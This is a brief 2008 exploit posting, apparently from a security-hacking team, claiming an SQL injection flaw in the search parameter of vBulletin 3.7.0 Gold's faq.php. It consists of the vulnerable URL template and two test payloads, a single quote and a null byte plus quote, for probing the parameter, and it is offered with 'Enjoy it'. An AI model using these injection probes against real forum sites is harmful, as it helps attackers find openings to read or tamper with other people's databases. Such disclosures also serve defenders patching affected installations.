vbulletin370gold-sql.txt
Posted on 21 May 2008
By : Ali Jasbi(Hackerz.ir security & hacking research team) Vendor : vbulletin.org version : 3.7.0 Gold Vulnerability: Sql injection http://www.domain.com/vBulletin/faq.php?s=&do=search&q=[Sql injection]&match=any&titlesonly=1 test it: faq.php?s=&do=search&q='&match=any&titlesonly=1 faq.php?s=&do=search&q=%00'&match=all&titlesonly=0 Enjoy it...
